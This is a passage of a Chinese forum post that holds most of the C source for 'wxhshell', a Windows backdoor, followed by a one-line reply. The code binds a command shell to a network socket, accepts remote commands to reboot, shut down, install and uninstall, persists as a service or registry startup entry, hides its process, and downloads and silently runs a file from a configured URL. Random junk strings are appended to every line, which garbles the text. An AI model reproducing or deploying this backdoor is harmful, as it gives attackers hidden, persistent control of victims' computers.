  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W0@n/U  
  else vXf!G`D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); feDlH[$  
  } JV^=v@Z3  
  else { \5:i;AE  
5h=}j  
    switch(cmd[0]) { %~H-)_d20  
  DFB@O|JL  
  // 帮助 a`E#F] Z  
  case '?': { qs6]-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p Z|V 3  
    break; x_N'TjS^{  
  } x;P_1J%Q  
  // 安装 RUnSCOdX  
  case 'i': { _?m(V=z>  
    if(Install()) Eex~xiiV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x:NY\._  
    else 0WW2i{7`U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z,[Hli*0  
    break; ICx#{q@f,  
    } QC OM_$y  
  // 卸载 {tuYs:  
  case 'r': { .Ni\\  
    if(Uninstall()) S"bg9o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NdA[C|_8}f  
    else ~F|+o}a `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y1eW pPJa  
    break; NqazpB*  
    } oi&VgnSk  
  // 显示 wxhshell 所在路径 D09Sg%w  
  case 'p': { EPI4!3]  
    char svExeFile[MAX_PATH]; #C74z$  
    strcpy(svExeFile,"\n\r"); T= y}y  
      strcat(svExeFile,ExeFile); ["k,QX  
        send(wsh,svExeFile,strlen(svExeFile),0); i/;\7n  
    break; Q0`wt.}V2  
    } / |;RV"  
  // 重启 _lJ!R:*  
  case 'b': { 17%,7P9pg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zx"s*:O  
    if(Boot(REBOOT)) ~zJbK. _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); by1<[$8r  
    else { Olt?~}  
    closesocket(wsh); `_Zg3_K.dS  
    ExitThread(0); .nf#c.DI  
    } p SH=%u>  
    break; F3[T.sf  
    } ^+>laOzC`8  
  // 关机 T\6dm/5  
  case 'd': { hc(#{]].  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KEo ,m  
    if(Boot(SHUTDOWN)) T"}5}6rSG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X Swl Tg  
    else { ?|\ER#z  
    closesocket(wsh); 7?!d^$B  
    ExitThread(0); ed{ -/l~j  
    } (&Kk7<#`  
    break; 5FPM`hLT  
    } ;C9_?u~#  
  // 获取shell 4<w.8rR:A  
  case 's': { JQ_sUYh~3  
    CmdShell(wsh); #>("CAB02T  
    closesocket(wsh); ~|D Ut   
    ExitThread(0); )5Q~I,dP  
    break; YlJ@XpKM  
  } lV3x*4O=  
  // 退出 Fh&G;aEq  
  case 'x': { Fc)@,/R"v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \g`\`e53?  
    CloseIt(wsh); d=$Mim  
    break; Z!a =dnwHz  
    } ~k-y &<UR  
  // 离开 T*/rySs  
  case 'q': { XB;7!8|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6m/r+?'  
    closesocket(wsh); U/66L+1  
    WSACleanup(); [x=s(:qy  
    exit(1); :(U ,x<>  
    break; Fo (fWvz  
        } hlvK5Z   
  } Jc&{`s^Nu  
  } x$A+lj]x  
xA2YG|RU=b  
  // 提示信息 EqkN3%IG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c)6m$5]  
} ]NQfX[  
  } .ljnDL/  
pGP7nw_g  
  return; jh?H.;**  
} Y #ap*  
_P#|IAq*  
// shell模块句柄 bI7Vwyz  
int CmdShell(SOCKET sock) z}77Eh<  
{ .FP$m?  
STARTUPINFO si; q<x/Hat)  
ZeroMemory(&si,sizeof(si)); [NjXO`5#]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k{R>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 60^`JVGWH  
PROCESS_INFORMATION ProcessInfo; p;`>e>$  
char cmdline[]="cmd"; {K~'K+TPu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nY[WRt w  
  return 0; !,_u)4  
} hIYNhZv  
y1jCg%'H  
// 自身启动模式 )W,aN)1)  
int StartFromService(void) 5zK4Fraf  
{ K(e$esLs-  
typedef struct 1SQ3-WU s  
{ h6L&\~pf  
  DWORD ExitStatus; D%[mWc@1I  
  DWORD PebBaseAddress; r(>@qGN  
  DWORD AffinityMask; k>Is:P  
  DWORD BasePriority; VD;01"#'  
  ULONG UniqueProcessId; `f,/`''R  
  ULONG InheritedFromUniqueProcessId; *nT<m\C6  
}   PROCESS_BASIC_INFORMATION; t5^{D>S1  
Pa>AWOG'  
PROCNTQSIP NtQueryInformationProcess; B-RjMxX4>  
Y,qI@n<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *P[ hy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h ]5(].  
Q^P}\wb>  
  HANDLE             hProcess; 9 &dtd  
  PROCESS_BASIC_INFORMATION pbi; S3C]AhW;  
)rIwqUgp6\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j.[.1G*("  
  if(NULL == hInst ) return 0; zF`0J  
&Q/W~)~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F>Ah0U0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _O)>$.^6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); etQCzYIhn  
udK%>  
  if (!NtQueryInformationProcess) return 0; w0 M>[ 4  
1;bh^WMJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >%_\;svZG  
  if(!hProcess) return 0; pHGYQ;:L  
C$=%!wf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]6,\r"  
w?PkO p  
  CloseHandle(hProcess); Qab>|eSm  
+uF>2b6'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -u+vJ6EY  
if(hProcess==NULL) return 0; Xz 6<lLb  
df8k7D;~e  
HMODULE hMod; l ~"^7H?4e  
char procName[255]; 3GYw+%Z]  
unsigned long cbNeeded; nAAs{  
;$,U~0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7DogM".}~Q  
5+4IN5o]=  
  CloseHandle(hProcess); >a<.mU|#  
Pjf"CW+A  
if(strstr(procName,"services")) return 1; // 以服务启动 VcE:G#]5  
JJ-( Sl  
  return 0; // 注册表启动 UkwP  
} d UE,U=  
sPpH*,(  
// 主模块 -a}Dp~j  
int StartWxhshell(LPSTR lpCmdLine) 5+0gR &|j  
{ Lz}OwKl  
  SOCKET wsl; 0@0w+&*"@  
BOOL val=TRUE; l+K'beP  
  int port=0; tPWLg),  
  struct sockaddr_in door; c% -Tem'#  
jxJ8(sr$  
  if(wscfg.ws_autoins) Install(); ,$L4dF3  
sjHE/qmq-Z  
port=atoi(lpCmdLine); |)th1 UH  
*\a4wZ6<3  
if(port<=0) port=wscfg.ws_port; ah$b [\#C  
un"Gozmt5  
  WSADATA data; & bm 1Fz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bTNgjc  
(62"8iD6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w>&aEv/f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q s!j>x  
  door.sin_family = AF_INET; dh\'<|\K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xh"n]TK  
  door.sin_port = htons(port); gnf8 l?M  
[ZwjOi:)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wc@X.Q[  
closesocket(wsl); e`_LEv  
return 1; &ee~p&S,>  
} s-!ArB,  
#powub  
  if(listen(wsl,2) == INVALID_SOCKET) { z]y.W`i   
closesocket(wsl); K=Z|/Kkh  
return 1; )gUR@V>e2  
} %g$o/A$  
  Wxhshell(wsl); \A#41  
  WSACleanup(); Q~]uC2Mw  
F`W?II?  
return 0; :K,i\  
T@B/xAq5!  
} U[-o> W#  
9MJG;+B~  
// 以NT服务方式启动 H [\o RId  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oG?Xk%7&\  
{ _Kf%\xg  
DWORD   status = 0; 3AtGy'NTp  
  DWORD   specificError = 0xfffffff; <?.&^|kS  
rl;~pO5R9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (_]~wi-,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N0Lw}@p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .o^l z 9:  
  serviceStatus.dwWin32ExitCode     = 0; M#6W(|V/  
  serviceStatus.dwServiceSpecificExitCode = 0; 7hcYD!DS  
  serviceStatus.dwCheckPoint       = 0; <oV(7  
  serviceStatus.dwWaitHint       = 0; 7M~K,E(7~  
%3-y[f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,AFu C <  
  if (hServiceStatusHandle==0) return; 9G5rcYi  
%JBz5G  
status = GetLastError(); dt]-,Y  
  if (status!=NO_ERROR) R4cM%l_#W  
{ nPl?K:(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `i*E~'  
    serviceStatus.dwCheckPoint       = 0; w+|L+h3L7  
    serviceStatus.dwWaitHint       = 0; $szqy?i 0?  
    serviceStatus.dwWin32ExitCode     = status; 9wwqcx)3(  
    serviceStatus.dwServiceSpecificExitCode = specificError; OX!tsARC@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 19)i*\+  
    return; ES7>H  
  } -<!NXm|kvz  
}B+C~@j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j{A y\n(  
  serviceStatus.dwCheckPoint       = 0; $k%2J9O  
  serviceStatus.dwWaitHint       = 0; 7(8;t o6(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %s|Ely)  
} \'D0'\:vz  
@o _}g !9=  
// 处理NT服务事件,比如:启动、停止 Qd$nH8EDY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (m/G(wg  
{ osAd1<EIC  
switch(fdwControl) f}f9@>.  
{ >*_$]E  
case SERVICE_CONTROL_STOP: 4F'LBS]=0  
  serviceStatus.dwWin32ExitCode = 0; Jhhb7uU+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 266h\2t6  
  serviceStatus.dwCheckPoint   = 0; E,U+o $  
  serviceStatus.dwWaitHint     = 0; ,T$U'&;  
  { +gtbcF@rx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O KR "4n:  
  } ,/F~ Y&1I  
  return; '9J/T57]e  
case SERVICE_CONTROL_PAUSE: ]Ie 0S~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J @1!Oq>  
  break; [D4SW#  
case SERVICE_CONTROL_CONTINUE: *C*U5~Zq7:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %_W)~Pv{+  
  break; ucW-I;"  
case SERVICE_CONTROL_INTERROGATE: *fS"ym@  
  break; 3$>1FoSk  
}; 6Y?|w3f   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fj3a.'  
} /]Md~=yNp  
h2]P]@nW;W  
// 标准应用程序主函数 xj;H&swo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~IBP|)WA-  
{ qiBVG H  
:>f )g  
// 获取操作系统版本 @,7GaK\  
OsIsNt=GetOsVer(); k)=s>&hl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3ym',q  
9 -a0:bP  
  // 从命令行安装 '$(^W@M#6  
  if(strpbrk(lpCmdLine,"iI")) Install(); #'szP\  
~-Qw.EdC  
  // 下载执行文件 s8t;.^1}  
if(wscfg.ws_downexe) { C XMLt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #gs`#6 ,'  
  WinExec(wscfg.ws_filenam,SW_HIDE); plstZ,#j  
} 08\, <9  
fxHH;hRfv  
if(!OsIsNt) { 0 ZKx<]!  
// 如果时win9x,隐藏进程并且设置为注册表启动 $Sip$\+*  
HideProc(); Vv=. -&'  
StartWxhshell(lpCmdLine); R.1.)P[  
} ,<P vovg_  
else 21l;\W  
  if(StartFromService()) :J&oX <nF^  
  // 以服务方式启动 z,p~z*4  
  StartServiceCtrlDispatcher(DispatchTable); 0pd'93C  
else 3~ {:`[0Q  
  // 普通方式启动 p6Gy ,C.  
  StartWxhshell(lpCmdLine); []1C$.5DD  
Fq<A  
return 0; V&2l5v  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五